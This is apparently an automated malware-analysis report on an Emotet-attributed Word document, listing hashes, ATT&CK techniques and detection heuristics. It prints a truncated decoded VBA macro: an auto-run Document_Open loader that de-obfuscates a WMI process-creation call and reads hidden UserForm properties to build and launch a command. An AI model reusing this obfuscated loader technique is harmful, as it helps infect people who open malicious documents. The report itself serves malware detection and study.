Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a430b79aa886bc22…

MALICIOUS

Office (OLE)

232.4 KB Created: 2020-08-13 13:03:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: b11a6658a6f5b676424ff9f1088cb705 SHA-1: 1f9e87a0181c9d42c82f130c5a3010da56224ffd SHA-256: a430b79aa886bc228b8aedcfd295bfdd9f860f814ddfefd8839d8c2159e24049
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The presence of CreateObject calls and obfuscated string manipulation within the VBA code suggests the macro is designed to download and execute a secondary payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9315662-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9315662-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4315 bytes
SHA-256: bda51f1e2f147a5f42f74eb9e9ee0c221ba53af769f29d99c979a0f3db658989
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MFYTUzqqusewyvmoti"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
ZAYOSmrlldrncoshgo.YIVGPwuaeznbwzxpuy
End Sub


Attribute VB_Name = "ZAYOSmrlldrncoshgo"
Attribute VB_Base = "0{C2AB5145-DDB9-4C16-BEBC-35437CD9FC10}{3CDF9F44-7DB8-4322-841A-9EBFA6AF6F1B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function YIVGPwuaeznbwzxpuy()
ECKMYqvmgoghcreewm = ZAYOSmrlldrncoshgo.Zoom
Dim EWtaT3ÄEfeU As Integer
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
RELHVwuacsunoes = ChrW(ECKMYqvmgoghcreewm + (100 + 35) / 9)
Dim WHEWC0ÅGtsV As String
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
BJVEMswrlybhyzsuyh = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + RELHVwuacsunoes + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + ZAYOSmrlldrncoshgo.QDQHHcqomtlhi + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
Dim Xw3Î8ÍKy1Ñw As Byte
LUAKWqoqlwckkfumv = KZDZZenybgnoq(BJVEMswrlybhyzsuyh)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set IJLHWudrjfmhtsgb = CreateObject(LUAKWqoqlwckkfumv)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
HHSPKuegztreale = ZAYOSmrlldrncoshgo.XLSMDxgktgyzxxvspcb.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
KRZDAefpuywrpwdubqo = OTGKOhlnomjbwlw + (LUAKWqoqlwckkfumv + RELHVwuacsunoes + ZAYOSmrlldrncoshgo.FZZAGywuhfrhr.ControlTipText + HHSPKuegztreale)
Dim gs2ËgnTcKiQ As String
HPACKcvvudfw = KRZDAefpuywrpwdubqo + ZAYOSmrlldrncoshgo.QDQHHcqomtlhi
Dim N0ÚPb8Ì As Double
Set FIBWOiktnczzufaj = EQZHCxsknwdiyxesq(HPACKcvvudfw)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
JNRZLedybgatysnl = Array(OEJIJzofzihted + "UOSOJryjqijihspw YVIGNfaoctmwvewdlzk YBPPVtzzqhmkmivjuig", IJLHWudrjfmhtsgb. _
Create(BQGADrghrjoulqm, RAGXMnuemevtew, FIBWOiktnczzufaj), WGTKTfbxvhbk + "INICSbiyvrciyvm LTFPHzdbxmdqclq")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function EQZHCxsknwdiyxesq(SJHYUorlstmgs)
Set EQZHCxsknwdiyxesq = CreateObject(SJHYUorlstmgs)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
EQZHCxsknwdiyxesq. _
showwindow = CIVZWtbdocborcv + OMJNVufjkhefyrw
Dim a4Õg As Object
End Function
Function KZDZZenybgnoq(QFMMWynyhknslzt)
CUZDIinqglnmwvj = QFMMWynyhknslzt
Dim nGcyUDpZ As Byte
UCGGKlgwlqqfz = Split _
(CUZDIinqglnmwvj, "832[sahj hui12t7gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
GDPCPwhehuzvfzutlli = AQFQZmpsscbfxok + Join(UCGGKlgwlqqfz, RTBQBdpidlppowewgr)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
KZDZZenybgnoq = GDPCPwhehuzvfzutlli
Dim kFPSyh As Object
End Function
Function BQGADrghrjoulqm()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
CRIHSbhbozlgb = ZAYOSmrlldrncoshgo.SPZNBfyjoqpgdthzeag.Pages(vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZ
... (truncated)

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